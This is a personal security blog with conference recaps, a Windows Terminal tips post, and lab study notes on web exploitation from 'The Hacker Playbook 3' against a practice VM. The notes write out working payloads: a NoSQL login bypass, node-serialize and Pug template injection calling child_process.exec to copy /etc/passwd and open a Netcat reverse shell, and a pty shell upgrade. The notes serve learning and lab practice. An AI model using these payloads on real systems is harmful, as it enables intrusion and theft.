Posted in Blog, Cons

HouSecCon 2021 – D2

It’s nice talking on day 1 so day 2 is more chill. Also incredibly great to have an employer, boss, and colleagues who are like “go conference, we’ve got this under control.”

Session Notes

First up Gregory Pollmann and Chrissy Grove on using identifying/prioritizing using crown jewel analysis. I like the crown jewels approach and repeatable process. Dropping the blog link here because it’s got links to the whitepaper and what not. Good approach that can make it easier to tie things to the business impact.

Then Ross Burke on operationalizing threat intel. Big takeaway here was you have to close the feedback loop so you aren’t just awash in IOCs. And that context matters. CTI can’t be set it and forget it.

The last talk I was able to get to was Clint Bodungen on hacking the cybersecurity workforce. What he talked about for getting started and growing your career are exactly what I’ve done – get involved, be part of the community, be accepting. Also mentioned letting people help you – that’s one I need to work on. I just about fell over when he mentioned getting a job is pretty much SE. Because, yeah, it is.

The rest of the day was talking to people and checking out vendors. There were a few new to me companies there so it was cool to see what they were doing. Caught up with some reps I know (and of course reminded them that helping out the K12 space is a good thing to do). I like checking out what new things are coming up. Yes, some of it is a little snake oil-ish, but even that gets you thinking.

I’m looking forward to talks being posted because there were several I would have liked to hear but couldn’t for various reasons. A huge thank you to Michael, Sam, all the volunteers, and all the sponsors who make HouSecCon happen. The hard work to put on a great conference is appreciated!

Posted in Blog, Cons

HouSecCon 2021 – D1

Day 1 in the books. It was a little odd to be at an in-person function, but it was a good time. I’ll theoretically add links to the videos when they come out.

Quick summary of my day…

Session notes

Opening keynote by Lesley Carhart on IR was jam packed full of tips for making IR hurt less. I’m going to have to watch this one when it’s posted. My biggest takeaway was an ounce of prevention is better than a pound of cure. I think any org looking to get a functional IR plan in place would benefit from watching.

Next for me was Nathan Wenzler on shifting to the cloud. Key points for me were don’t let tools become shelfware and make sure your APIs don’t suck. Also make sure that you are reading the fine print in your agreements. Know your SLAs and who is responsible/accountable for what.

Then Andy Bennett on ransomware. BEC costs more, but ransomware hurts more. One point I really liked was that your communication plan needs to be different for the IR team than for the upper level people. Good reminder. And MFA all the things. ALL THE THINGS.

After lunch was Deborah Watson on MITRE ATT&CkK to reduce risk. I liked the emphasis on risk based controls and the reminder that if it’s someone’s job to open emails and attachments, we really can’t fault them for that. But we need to make it safer. And do you really have controls in place if the majority of the company is excepted form them?

Ricky Allen talked about cyber resilience. I liked the focus on recovery – I do think that part often gets neglected. He highlighted checklists as well. There’s a reason high pressure situations tend to have checklists. We forget things under stress. I’m a big believer in checklists (and documentation).

Then came my talk (Everything’s on fire and I’m not okay – managing priorities and workloads as an army of 1 [or more]), which I think went well, but I’ll also always think could have gone better. It was fun for me at least. Slides and links below. I think we can do better in focusing our priorities and stress levels. I hope people took away that priorities will look different at different places, that finding a way to match your needs for infosec with the needs of the org is a good thing to do, and that work boundaries are good.

My talk stuff

The references

Posted in Blog, Resources

Let’s talk Terminal – Windows Terminal

First off, I really feel like there should be an apostrophe in there somewhere – Windows’ Terminal maybe? Regardless, I recently decided to give Windows Terminal a try after a colleague (thanks Kristy!) mentioned she’s been using it some. And then, I swear, I was seeing it everywhere. I could see some advantages, so I installed. Now, I think I might have a problem. I wanted a quick reference for myself and thought it would be a decent blog since I kept sharing them with colleagues (whether they wanted to know or not – I get excited/you’re welcome Chad!)

What is it and why I’m a little obsessed (skip if you’re just here for the tips/tricks)

I figured this was some random third party app before I started looking into it. Nope, it is from Microsoft – so that could be positive or negative. The big “selling points” for me were having multiple tabs and custom themes. Since I sometimes (always) have a questionable number of terminals open between various PowerShell, Command Prompt, and WSL options, being able to easily contain and differentiate them would be nice. And nice it is.

Terminal defaulted to PowerShell for me, which was fine. It will also pull in the other terminals you have, so if you are running PowerShell 7 alongside 5, it’ll show up. As will WSL distros, Azure Cloud Shell, etc. When I got some time to fiddle with it, I realized how well it fits into my workflow. The ability to have profiles for different tasks and access all the options without having a ton of Windows open improved my efficiency quite a bit. Not knowing which PowerShell window was IPPSSession versus ExchangeOnline versus general versus whatever made moving between them frustrating. You can change themes in the regular terminals, but it’s kind of a pain. I’m now happily down to usually just Windows Terminal and PowerShell ISE when I need that. Much of the time I’m down to Windows Terminal with multiple tabs.

What makes it powerful is the ability to set profiles, pass some commands when calling profiles, and starting with multiple tabs open. You can also specify the path to start in for a profile, which comes in handy. All can have different themes, tab titles, and tab icons. The ability to have clear visual indicators is incredibly helpful, particularly when you might be doing some IR and need to have access to multiple terminal options. For some reason, using the right commands in the right places is more efficient. Who knew? It also lets me more clearly separate which has admin permissions. I’m using different background colors and specific icons to make it easy to get where I need to be to do that next thing. And as silly it is, opening with the terminals I’m typically in all day every day without having to do anything makes me ridiculously happy. People like to tell me that’s me being efficient, but it feels kind of lazy to me. I guess it’s like writing a function to run a 1 line command in PowerShell – it may only save a few keystrokes each time, but the cumulative savings really adds up.

Set Up Tips

The kind of time consuming part is getting things setup for effectiveness. A lot of the options can be configured via the Settings GUI – Startup options, Appearance, Profile basics, etc. There are additional color schemes available by searching online, but I’ve been tweaking what already there because that’s a rabbit I don’t need to chase right now. Pick your profile name, icon, font, color scheme, background image, etc. to whatever makes you happy. Create custom color schemes in the Color Schemes section and apply to your profiles to help differentiate them.

Pass commands starting the profile

If you look at the profiles, you’ll notice there’s a “Command Line” spot with just the typical cmd.exe, powershell.exe, wsl.exe -d <distro>, etc. there. What is cool/useful is being able to pass commands here. So if you want to always start a profile to connect to a computer remotely because you do this ALL THE TIME, you can:

 #Include -NoProfile if you want to avoid having a profile loaded
 PowerShell.exe -NoExit -Command Enter-PSSession -ComputerName <computername>
 PowerShell.exe -NoExit -Command Connect-IPPSSession -UserPrincipalName <UPN>
 PowerShell.exe -NoExit -Command Connect-ExchangeOnline -UserPrincipalName <UPN>

You might also want to jump straight into Python:

 cmd.exe /k python #Or whatever you start Python with in Command Prompt
 wsl.exe -d <distro> python3 #Or whatever you start Python with in your various WSL distros

This was a game changer because of how “efficient” I like to be – not having the extra step of connecting or whatever is phenomenal. The ability to pass arguments starting profiles gives you a ton of options. You may need to do a little testing to determine if you need to tweak the syntax a bit, but it’s pretty straightforward.

Start with multiple tabs

This part moved Windows Terminal from nice to awesome…because apparently opening the extra tabs is really hard for me. You do need a more recent version as some of the older ones don’t allow for it. Make sure you determine whether you want to use a distro or a profile because that impacts the syntax. You can also use this to specify colors and other things, but I prefer to do that with color schemes.

All you need to do is open up the JSON file with the settings (which will conveniently tell you if you’ve forked and work off an older version while you troubleshoot) and add this line – I put it after the default profile line:

#Put profiles with spaces in quotes and set focus tab as desired, 0 is default profile 
"startupActions": "; new-tab -p <profile> ; new-tab -p <profile>; focus-tab -t 0",

Add as many as you would like and there you go.

Multiple Panes

You can also put things in different panes so you have multiple options visible at the same time. Look through the documentation to see your options. Here are a few handy things:

 # Open vertical or horizonal pane with default profile
 ALT+SHIFT+= (Vertical) ALT+SHIFT+- (Horizontal)
 # Open from profile menu
 ALT+(Click new tab or dropdown to select profile)
 # Move between panes
 ALT+(arrow)
 # Resize
 ALT+SHIFT+(arrow)

There’s not a great way to open split panes with different profiles from the keyboard yet, but a decent workaround is to either make a profile that runs the command or put in the command manually (I’d probably make this a PowerShell function if I wanted to use it a lot…yeah that happened, here’s the GitHub in case I develop it more. I would put this in the CurrentUserAllHosts profile version unless you want to keep it separated for some reason. If you create a profile and keep it in your first 9, you can open with CTRL+SHIFT+<#>. Pretty handy if there are 2 profiles that you need to split panes with frequently. Both of these will open in a new window, which is not that big of a deal. I’d rather deal with that than take hands off the keyboard.

 # Add options as desired and put profile names in quotes if they contain spaces
 # This will open in a new window either way
 wt -p <profile>; split-pane -p <profile>
 ​
 # PowerShell Function quick version - I might expand this more over time in my Github
 Function splitpanes ($profile1, $profile2, $type)
 {
     wt -p $profile1`; split-pane -p $profile2 `-$type
 }

References

The documentation is fairly good and a great place to start. It’s not always easy to find exactly what you are looking for though. Here are a few handy links to get started with:

Windows Terminal Startup Settings | Microsoft Docs

Windows Terminal command line arguments | Microsoft Docs

Windows Terminal Actions | Microsoft Docs

Launch Windows Terminal with multiple tabs (frakkingsweet.com)

cmd | Microsoft Docs

Posted in Blog, Resources

THP3 Ch 3 Review

Disclaimer: Educational purposes, personal reference, don’t do illegal hacking, IANAL, etc.

Note: THP3 is my primary source for this. I’m putting my thoughts and notes to help me remember the info while avoiding putting too much info from the book here. If you are considering buying the book, I highly recommend it. 

THP3 03 – The Throw – Web Application Exploitation

I’ve been working on web app exploitation for bug bounty stuff, so I was excited for this chapter. Not much detail getting started – just notes to look elsewhere, specifically the OWASP Testing Guide. The other standard reference is The Web Application Hacker’s Handbook 2nd ed (WAHH). I have both and am using both. If you’re a video person and want a nice overview of web hacking, this Introduction to Web Hacking 101 from PAHackers and Brandon Keath is a really nice intro.

Kim notes that there haven’t been changes to many attacks since THP2, so they won’t be repeated. I get it, but I would have rather seen them included. The focus will be on newer critical exploits. If you need background in web app exploitation, I’m enjoying working on stuff from PentesterLab. I think the combination of this book and the other things I’m working on will give me a solid foundation for web app exploitation. Someone also brought up the OWASP Juice Shop at book club – this is another vulnerable app to attack and looks like a pretty good resource. The Natas wargame on OverTheWire is another good place to practice. I’ve done a little of it and plan to go back to it as I work through the various web hacking things I’m doing.

Bug Bounty Programs

This is a specific thing I’m targeting, so this was a nice section to have. Kim notes it takes 3-6 months to consistently find stuff, so that gives me a good time frame to keep in mind.

Common bug bounty programs:

There are more, just do some digging. Kim recommends starting with older or no-reward programs because they are less likely to have pros working on them. Remember to be careful about scope and what can be done.

I recommend starting with the resources already noted, the Cybrary Web Application Penetration Testing course (a bit dated, but good info) and Bug Crowd University. With those things done, I felt like I had a good handle on what went on in this chapter.

Something to note is that everything I’ve looked at stresses the importance of writing up your results in a solid way. This includes written documentation, screen shots, videos, and other ways of demonstrating proof of concept. Bug Crowd University has a very good primer on this and recommends using Markdown. I’ll second that recommendation – I’ve switched to using a Markdown editor to write blog posts and several other things, and it works very well. There are lots of Markdown options, but Typora seems to work well. It’s free while in beta and gets solid reviews. Visual Studio will also do Markdown, so it’s really a matter of finding what works for you. If you prefer online, I like StackEdit, and Dillinger gets good reviews.

The frequent mention of writing up your results well is a big part of why I’m sharing my THP3 notes and trying to blog somewhat consistently about info sec stuff. This is less formal than I would make bug reports, but it’s helping me internalize what I learn and given all the academic writing I’ve done, formal writing is less of a concern. Kim provides a link for a report generation form that can also be helpful.

Web Attacks Introduction – Cyber Space Kittens

So at this point, Kim has led us through recon and discovery (or enumeration) of the target website – Cyber Space Kittens (CSK). There is another VM provided for the web app exploitation exercises. That’s 2 so far for this book. If you are doing much with VMs, you may want to consider an external hard drive to store them or they may eat your hard drive.

Kim walks you through adding the VM to your hosts file. This was nice to have included because it’s often a must do when you are working on a host-only network. And since I’ve previously found some tools play nice with IP and some play nice with URL, this is a vital step for practicing. To do this, you have to edit the /etc/hosts file and add a line to identify the host – <IP address> <name>. Remember you may have to edit the IP later if you shut things down and come back. It’s pretty straight forward, but to give you an idea of what it might look like:

  127.0.0.1       localhost
  192.162.98.2    vulnerablemachine
  192.162.98.3    anothervulnerablemachine

Side note here – if you aren’t familiar with the various text editor options in Linux, you might want to make a note. Kali has Leafpad and Vim is also common. I like this reference by Christopher Kielty as a quick guide. It’s good to be familiar with several since you may get a shell on a machine with an editor other than the one you are most comfortable with.

The Red Team Web Application Attacks

Some rehashing here with a few links. One was to a checklist. Lots of bitly links, which are always an adventure since you really don’t know where they are going. Kim also states the older books were focused on how to test web apps, so this one will skip the basics and move into attacks used in the real world. It’s fine, but it bugs me. I went digging to see what the differences might be and how the books are supposed to be regarded as a group. Based on this reddit, it seems to be a bit of both editions and series. Looking at it a little more, I picked up the Kindle version of THP2 because it looks like a good reference and I like how Kim approaches things. Pardon that squirrel chasing – back to the book at hand.

Setting Up Your Web App Hacking Machine

The vulnerable app is written in Node.js, which is popular for several reasons – fast, cross-platform, etc. Kim does a good job explaining why Node.js was his choice. Basically it’s popular, has a ton of open source libraries, and some of those libraries are vulnerable.

Kim lists some browser extensions – Wappalyzer, BuiltWith, and Retire.js. I’m familiar with the first 2. Retire.js is new and seems to be available on Chrome and Firefox, but not as extensions from the store. Both have something available, but not from what seems to be the original Github. There are also Burp and ZAP plugins, so that looks helpful. And since I can trace that back to the Github developers, I’m a little more comfortable with it. Note, these aren’t on my version of the THP3 Kali build, so you may need to install them. The VM also doesn’t have Chrome, so it’s going to take some time to get set up in the VM for this. I like having both Chrome and Firefox available for testing, and I do switch over to a Windows box at times.

I’m not thrilled with the permissions for the Retire.js add-on in Firefox, so I’m going to use the one from the Github. This uses the Add-On SDK for Mozilla, so that isn’t great for long-term usage. And looking at what it needs, I think going with the BurpSuite and ZAP plugins are the most efficient option for my usage. Unfortunately, the BurpSuite plugin only works with pro, and that’s not something I’m doing quite yet. I suspect I’ll end up buying it later, but I need to be a little farther along with my bug bounty work to justify the expense. I use the BurpSuite free version frequently though, and there are a lot of really nice features. Adding to ZAP was simple – download, open ZAP, File > Load Add-on File.. > Choose file. Then check to make sure it worked by clicking on the “Manage Add-ons” icon (3 little squares) to see if it’s listed.

I also recommend using Foxy Proxy – it will make your life much easier as you need to turn proxies on and off. It can be installed from the add-ons store in either Chrome or Firefox. And remember that Burp and ZAP running at the same time will conflict. If your listener isn’t working, make sure you didn’t forget to close the other one.

Web Discovery

Once you have your target, it’s time to start enumerating it. You can spider with BurpSuite, and I’ve found it to work well. It’s also helpful to use as a proxy, and the Decoder tab comes in handy. But there are a fair amount of things only available on the paid version.

I haven’t used OWASP’s ZAP as much, but it’s worked well when I have used it. It’s setup similar enough to Burp that you can adjust between the two fairly quickly. There are also plenty of resources available at the ZAP project page.

DirBuster is inactive, but gets the job done. It is also available as a ZAP add-on, so that is probably the way to go.

GoBuster worked well and quickly. I like being able to designate which status codes are deemed positive, and there is an options to check for extensions. I’ll likely play with this one more.

Running through the tools, you can see multiple vulnerabilities in the chat VM. Kim notes that for an audit or pen test, these vulnerabilities would be reported. However, for red team purposes, these will be ignored to focus on things that would get advanced access, shells, or results in data leaks. As someone still learning the specifics of pen testing vs. red teaming, I found this info helpful. And it makes sense since red team being a more long-term approach, things that could result in the biggest issues (and fines) would understandably be the focus.

XSS

Cross-Site Scripting (XSS) testing takes time and is a popular target for bug bounties. If you aren’t familiar with a lot of the basic exploits, Hacksplaining has nice introductory lessons. Web for Pentester is another good place to work on the basics. I’ll be using that to test out some of these exploits as well since I’m working on that to improve my web app hacking

Kim starts off with basic attacks since they aren’t really harmful (that doesn’t mean it’s cool to go out and do these where you aren’t authorized to do so) and provides info for a basic XSS, cookie stealing XSS, forcing a file download, redirecting a user, and another script to enable key loggers and other capture options. This portion has text and then a series of exercises, so I’ll have notes on the text and then the exercises.

Resources for obfuscating payloads for XSS

WAHH goes into more detail about avoiding XSS filters and does a good job explaining what may work and why. Kim notes that not all JavaScript payloads require the <script> tags, so you can avoid filters looking for those tags. Kim provides a reference for what HTML Event Attributes for more info and directs you to try it out in the chat VM.

Get things set up, login, go to the chat…basic script works as expected (entered in the chat, not in the URL). All of these were straightforward. Note that the onload command waits for everything to be loaded, so there may be a time delay or refresh needed. Kim includes links to an archived XSS Mind Map by Jack Masa and an HTML 5 Security Cheatsheet that shows what vulnerabilities various browsers have. The section ends by introducing polyglot payloads that can avoid a lot of the input validation checks. The provided reference about polyglot payloads from 0xSobky – Unleashing an Ultimate XSS Polyglot provides a really nice rundown. Playing around with the polyglot payload in the book, it has 2 alerts. You can put indicators (like alert(1), alert(2)) to determine which alert made it through input validation. This should let you narrow down what’s being done to refine your exploit. Until you get used to it, you might want to keep a URL encoding reference handy, like this one from w3schools to help with avoiding input validation.

BeEF (Browser Exploitation Framework)

BeEF is a fairly popular tool. I tried in on a couple of different examples on the Web for Pentest from Pentester Labs. It seems pretty straightforward – find a way that XSS can be exploited and pop the BeEF script in there. Same thing for the chat VM. BeEF gives you full control of the target’s browser, so there’s a lot you can do. It’s going to take some time to go through all that BeEF can do, but it’ll be a good tool to get familiar with. BeEF can also be set up to work with Metasploit, which looks like a great additional option.

Blind XSS

Blind XSS is difficult to detect because it’s not visible to the attacker or user – just the admin or a back-end employee. XSSHunter is the recommended tool. It does require an account and creation of a custom subdomain. I believe this means both VMs will need to be connected to the Internet rather than in Host-Only mode. Switch the network adapters over if necessary, go through account creation and…the basic script worked fine. I did have to refresh the page to see the website (under the XSS Fires tab). The site also has multiple other payloads available. This will be fun to use on the Web for Pentester VM to see how some of the other payloads function. Some additional reading on blind XSS basics.

DOM Based XSS

Kim stats DOM-based XSS is a little less straightforward than other types. I agree. DOM (Document Object Model) XSS is based on being able to manipulate client-side scripts. Browsers don’t understand HTML, so an interpreter puts HTML into DOM. Looking at the source code as instructed, you can see a spot where the code says '+msg.name+': '+msg.msgText+' where you would expect to see your username and message in the message window. You don’t see the alert payload directly, which makes it harder to find where you may need to adjust the payload or where it’s executed. Definitely something to go play with some more in my other web app hacking tools.

Advanced XSS in NodeJS

Defending against XSS is difficult. You can’t just filter specific characters or words. And WAHH talked about how if the input validation is just looking for <script> you can change to <scRipt> as seen in the polyglot example to avoid that check. All languages have different things they are susceptible to, including NodeJS. The particular package used to build the chat VM doesn’t have built-in XSS protection unless it’s rendered through the template engine. A template engine results in XSS vulnerabilities being found through buffered code and string interpolation.

Template engines basically have spots to use for string variables (string interpolation). Pug can use both unescaped (!{}) and escaped (#{}) string interpolation. When escaped string interpolation is used, characters like < > ' " are HTML-encoded. Unescaped string interpolation typically results in XSS vulnerabilities. Escaped interpolation can result in XSS vulnerabilities if passed through JavaScript. In JavaScript, anything following != will be executed as JavaScript. And anytime you can insert raw HTML there may be XSS vulnerabilities.

Exercises

Exercise 1 was an example of good string interpolation with no real options to escape it. To determine this, a basic alert was entered and then the source code was viewed to see how the script was handled.

Exercise 2 showed unescaped string interpolation. Enter the basic alert exploit, submit it, get the alert. Then view the page source code to see how the script was handled.

Exercise 3 shows dynamic inline JavaScript with escaped string interpolation. The input is inside a script tag before the escaped interpolation. This means the JavaScript will automatically execute. Since it’s already in a script tag, you don’t even need to use the script tags. Putting quotes around the interpolation would have protected against this vulnerability.

Exercise 4 is unescaped buffer code. There’s no escaping, so it’s vulnerable by design.The basic alert script will work here.

Exercise 5 is escaped string interpolation into escaped dynamic inline JavaScript. The app is doing some minimal filtering, but the escaped string interpolation is in a script. You have to figure out how to escape the filtering. This can be done using “esoteric” Javascript. Basically, a bunch of [][(!-)] craziness. I’ve seen this before, and it’s definitely something to copy/paste. Kim provided a reference that will create this notation.

Overall, it’s difficult to protect against XSS. Understanding context and if escaping is required is critical to understanding the vulnerabilities. All languages have issues with XSS, so you have to understand the language and framework. This is why running things like Wappalyzer and BuiltWith and viewing source code is important.

XSS to Compromise

Once you’ve got a vulnerability, getting to shell is of course desired. Getting a user-to-admin style XSS in a CMS or similar can lead to complete access. Kim references a walkthrough by Hans-Michael Varbaek that has quite a bit of info. BeEF has exploitation using JavaScript. And a cool thing you could do is put a JS XSS payload on a victim machine, get the internal IP, and scan from there with the payload.

NoSQL Injections

It was nice that this section didn’t focus on SQL injections. Kim covered SQLMap in THP1 and 2. I’ve used SQLMap and found it worked well. NoSQL is focused on in THP3 because it’s becoming more prevalent. The typical SQL databases (MySQL, MSSQL, and Oracle) are relational, while the NoSQL version usually isn’t. NoSQL injections may work differently than traditional ones, and often are found with string parsing. A typical injection would be {"$gt":""}, which essentially says GT (greater than) is greater than “”(NULL). This is equivalent to the standard SQL injection of ' or 1=1--.

A few other NoSQL injection resources…

Attack the Customer Support System NoSQL Application

Use Burp and try try logging in with random info, see what info you get. You can see the username and password attempt being passed. You might be able to put a conditional in there to basically do the traditional SQL injection attack. You won’t see the server-side source code in a black-box test, but you can expect there to be a query to the backend database, MongoDB in this case. So looking at this, it makes sense. All you have to do is edit the request as it proxies through Burp – pretty straightforward. Putting the NoSQL injection of {"$gt":""} in for the admin password, you can see some input checking in Burp. That’s easy enough to edit and get admin access.

Kim goes on to emphasize the discussion of NodeJS is showing the ways new vulnerabilities can be introduced by newer frameworks and languages. One way this occurs for NodeJS is the qs module – it converts HTTP request parameters into JSON objects and is used by default in Express. This is important because on the server side, POST requests will be converted to JSON if bracket notation is used. Good to know. The edit here is a little different – the exploit goes before the =. So you get password[$gt]=. This syntax can also be used to get usernames. Just stick in the same thing, and you should be able to go through each user in alphabetical order. This works and is begging for a script to automate it. You do have to remember to include the previous user in the exploit:

  username[$gt]=<lastEnumeratedUsername>&password[$gt]=&submit=login

I found the same reference Kim provided when looking for more info Hacking NodeJS and MongoDB. The Websecurify author has a couple projects to work on NodeJS hacking that should be good references, and they use Docker, so it has the added bonus of getting more experience with that.

Deserialization Attacks

I haven’t done much with deserialization, so I looked over the OWASP Deserialization Cheat Sheet to get some general info. From that info, serialization is putting an object into a data format that you can restore later (save, send, etc.). Deserialization is the reverse – rebuilding the data into an object. This is most popular with JSON right now; it was XML previously. Coding languages have native ways of serializing objects, which offer their own opportunities for exploitation.

Back to THP3 and dealing with NodeJS…serialize.js is being used, which is upfront about being a potential security issue. You can pass untrusted data to the serialize() function to get arbitrary code execution. The serialize.js library uses eval(), which will execute raw JavaScript. Not a great option for user input. You need to create a serialized payload to be deserialized and sent through eval() to execute the JavaScript payload. More info and the JavaScript payload can be found on Opsex’s blog.

The walkthrough starts with a nice feature of Burp – the decoder. I find this pretty handy and easy to use. Drop the cookie into decoder and Base64 decode it. It shows up as {module":"node-serialize"}, so you can see the serialize module is being used. Since you can’t write directly to the web directory and have it accessible in NodeJS using Express and Pug like you can in PHP, there must be a specified folder path exposed to the public internet. (Seriously, just tips like this make this book worth reading. And seeing how Kim approaches things is helping me understand how to do this job.)

Side note…as of Firefox 52, there is captive portal detection that can be extremely annoying to click through when using Burp to proxy. You can tell Burp to ignore it or turn it off in Firefox. More info can be found here, but good grief that was annoying.

The walkthrough worked with no problem. Kim recommended doing some post exploitation, including reading the /etc/passwd file. I played around a little and had no issues executing Bash commands this way. I decided to get adventurous and try popping a shell. I thought I could use msfvenom. I found this msfvenom cheat sheet which is a nice, concise reference. I’ve used it before for php payloads, and it works well. It gave me an error, so I decided to do some more research. I found this method by Wiremask to get a reverse shell, it’s not quite what I’m working with, but I want to hang on to the link for future reference.

I thought about what I was doing and decided to try getting a shell with Netcat. Using a basic Netcat reverse shell, I was able to get a connection, but not an interactive shell. I remember running into this info before, so I popped up my notes, and found the way I got the shell using Python thanks to pentestmonkey. Once I got the interactive shell, I decided to look around a bit. But not long because I need to continue with the chapter.

So I’ll remember, here are the pertinent parts for getting the /etc/passwd file and getting a shell with Netcat. These just need to be put in the basic exploit and then into whatever way you are using the exploit.

  //Basic exploit portion, may need to be put into other things
  require('child_process').exec('stuff you want done')
  
  // The exec() portion to get the /etc/passwd file:
  exec('cat /etc/passwd >> /opt/web/chatSupportSystems/public/hackedpass.txt', function(error, stdout, stderr){console.log(stdout)})
  
  // The exec() portion to get a Netcat reverse shell
  exec('nc <hostIP> <hostPort> -e /bin/bash', function(error, stdout, stderr){console.log(stdout)})

Template Engine Attacks – Template Injections

Template injection is passing user input into render templates, so the underlying template can be modified. This is rarely unintentional and may be misinterpreted as XSS. This can also allow you to access the underlying OS to get remote code execution. You can use newline characters in template literals, which is needed for this exploit to get out of the paragraph tag because, like Python, Pug is space/newline sensitive. Kim points to Server-Side Template Injection by James Kettle as a good reference.

Template Injection Example

The walkthrough was pretty straightforward – you have to figure out if the input supplied can process basic operations. First up was trying a basic XSS script in the user field of DMs in the chat VM. That worked, so there’s an XSS vulnerability. Next question is can you interact with the template?

Checking this included use of Burp Repeater and swapping in a couple things to see if it would execute basic math. If you haven’t used it, Burp Repeater does what you would think – pick something and you can mess with it and submit it repeatedly through Repeater without having to go back to your browser. Big time saver and very useful. Looking at the portion that was passed related to the template (ti), you can see that the part where the input is used is wrapped in paragraph tags. So if you can escape those, the exploit may work. Since Pug is space/newline sensitive, a newline should do it. There was some URL encoding needed – %0a for new line and %3d for =, but the easiest way to deal with it is put what’s needed in Burp’s decoder. The first test will be just a newline, then some basic math.

So in Burp decoder, enter this and choose to encode as URL:

  
  =9*9

If this works (you get 81 outside of the paragraph tags), you have access to the global object. To get from here to shell execution, you have to find the right function to execute. First up is checking out the self global object root so you can see what you have access to. Eventually, you want to get back to the Require function to import the child_process.exec exploit to run OS commands. So after checking if you can access the global object, you need to parse it.

  
  each val,index in global
    p= index

Kim states from here on it’s trial and error to see what will work. He says to pick “process” out of the methods because it will eventually get us to ‘require’. You can check out the various methods you have access to by adding .<method> after global above. Then you can add another .<method> to check out the methods available in the process methods. Find require under the mainMethod, and try exploiting it. Remember to URL encode this before putting back in Burp repeater.

  
  - var x = global.process.mainModule.require
  -x('child_process').exec('<systemcommands>')

Enter whatever commands you would like, similar to those found in the Deserialization portion. The - at the beginning of the line denotes the variable will be hidden.

I used a basic Netcat reverse shell then used a python exploit (the same things mentioned above) to get an interactive shell. So these were the commands required…

In the systems commands portion of .exec:

  nc <hostip> <hostport> -e /bin/bash

On the host:

  nc -nlv -p <hostport>
  connect to <hostIP> from <targetip>
  python -c 'import pty; pty.spawn("/bin/sh")'

This section wraps with a mention of Tplmap that is similar to SQLmap. This worked fine and returned several injections that worked. It lists the plugins used, so that will be helpful for looking at specific exploit options.

  ./tplmap.py -u '<urltocheck>'

JavaScript and Remote Code Execution

Remote code execution (RCE) is a goal for pen testing and is most commonly found where uploads are allowed. Kim provides a reference on Github for webshells with the caveat that they should be used at your own risk. Second this – validate webshells as best you can by looking at the code, finding multiple references, etc. Digging around in hacking definitely leaves you exposed, so be mindful of that.

Attacking the vulnerable chat application with upload

I’ve done file upload exploitation in PHP before, but there are differences in how to do file upload exploits depending on the platform involved. In Node, you can’t just call a file in the browser to execute like PHP, so this will be a little different. This exploit will use a dynamic routing endpoint, which will read the file assuming it’s a Pug file. This gets back around to the Netcat shell I’ve been doing, but requires putting it into a text file. Then upload it to the VM, get the hash, and navigate to that filehash using drouting to trigger RCE. Pretty straightforward, but following Kim’s commands, Netcat wasn’t in verbose mode, so it was hard to tell when the shell connected. I prefer adding the v option so you can see what’s going on. This didn’t give an interactive shell, so I used the handy python option to elevate to a regular shell.

A couple of key points on where to find things…you will need to go to the HTTP history tab on the Burp proxy tab to retrieve the filehash. It may be buried and easy to miss, so using the search feature might be helpful. Depending on how much you’ve forwarded in the Intercept tab, you may need to go back. Look for a URL with “fileupload” in it to find the info you need. The drouting module was identified in the HTML as something to be removed in production, so that would be a clue to investigate more in an actual pen test or red team situation. Looking at the code Kim provided, I this was a specific app.get method added to test dynamic routing that is somewhat unique. I haven’t been able to find references to it elsewhere, so it may be one an example of why checking out the source code and doing some trial and error based on what you know is so important.

Server Side Request Forgery (SSRF)

SSRF is used for access to the local system, internal network, or pivoting. I wanted a little more info – OWASP SSRF and a blog from Acunetix gave me enough info to move forward. Kim says this type of exploit is often kind of ignored and thought of as not a big deal, but from his explanation, it can definitely lead to some serious damage because you can gain access to the internal network. Kim provides a presentation from Agarri as a reference. Definitely some good stuff there.

Walkthrough

This used the DM option. Put in a link, preview it, see what happens. You can set it up to view as local host. Once you are there, you need to see what’s available. This is done with Burp Intruder. Kim narrows down the ports (thank goodness – the free version does intruder, but it is throttled – this is one of those features that will likely get me to invest in the pro version), and you let it run. I’ve done this before and one of the things to watch for is a response that looks different from the others. In this case, one of the ports (28017) sent a much longer response and should be investigated. You can plug that port number in where the previous one was and get into the mongo db. Once you are in, you have to continue using the exploited local interface in the link to go to the other links – just pop the info at the end of the URL.

Relatively straightforward and good practice with Intruder. I wanted to see if I could do something similar with Zap. Close Burp, fire up Zap. Run through the same thing to get the URL into Zap. Right click on it, then choose Attack > Fuzz. Highlight the portion you want to fuzz, pick your payload, and start the fuzzer. It ran very quickly, and highlighted the abnormal response. You can choose to send that URL directly to Firefox, and there’s the mongo db again. I still think Burp is something worth investing in, but it’s nice to be able to figure out how to do similar things in Zap as well. I’m a believer in having multiple tools at your disposal.

XML eXternal Entities (XXE)

Next on to some work on attacking XML parsers. This is comon in apps allowing file uploads, parsing Office docs, JSON, and Flash. With improper validation, XML parsing can load to all kinds of problems. Some additional reading from OWASP, the OWASP cheat sheet, and Infosec Institute. This gets a new VM (are you putting your VMs on an external hard drive or lab machine yet?) since it has a custom configuration request. Fire up the VM, run Burp, check out the source code. See a hidden field submitted with a POST request. The user can control the POST data, so you can inject malicious code. And most XML parsing libraries support SYSTEM, which allows data to be read from a URI. So you can put in specific info to exploit the XML being parsed. This worked fine to read /etc/password. I didn’t get it to execute a Netcat shell. I tried looking at some other common Linux files and was able to access those. So I think it’s just figuring out what exactly you can access.

Advanced XXE – Out of Band (XXE-OOB)

If you couldn’t see the response or had other issues, you can go out of band by using a remote Document Type Definition (DTD). This is an XML file that defines the structure and legal elements of an XML doc. This is a four stage attack:

  1. Modified XXE XML attack

  2. Get the target to load a DTD file from the attack server

  3. Read the /etc/passwd file using code in the DTD file

  4. Get the data using code in the DTD file

No luck though – I checked everything multiple times. I was getting a warning about a failure to open a stream, so it seems like it’s not getting the file for some reason. This was a different error than Kim warned about. I’ll have to do some digging to figure out what’s going on.

Doing some troubleshooting…using the exact phrasing as the book, I got a connection refused error. Spent some time thinking about the errors (connection refused) I was getting and how to address them. I was pretty sure I needed to set up a server/listener of some type to allow my target to access the file. I did some searching on XXE-OOB and found a nice walkthrough by ZeroSec. I tried specifying the port in Burp Repeater, and that got a connection and GET /payload.dtd HTTP/1.0 followed by Connection: Close. This was using the same port for the payload file and in Repeater.

Next I popped up a basic Python server to see what would happen. I got a 404 error. I pulled up my host in the browser to see what directory it was dropping me into. It was not the typical var/www/html folder. This is how the SimpleHTTPServer (Python 2, http.server in Python 3) functions. You can set the directory using pushd or by moving to the desired directory . Because of how SimpleHTTPServer is set up, it will serve files from the working directory. It shouldn’t be used for production environments, but it gets the job done for this. Using this, I was able to get the file I was targeting.

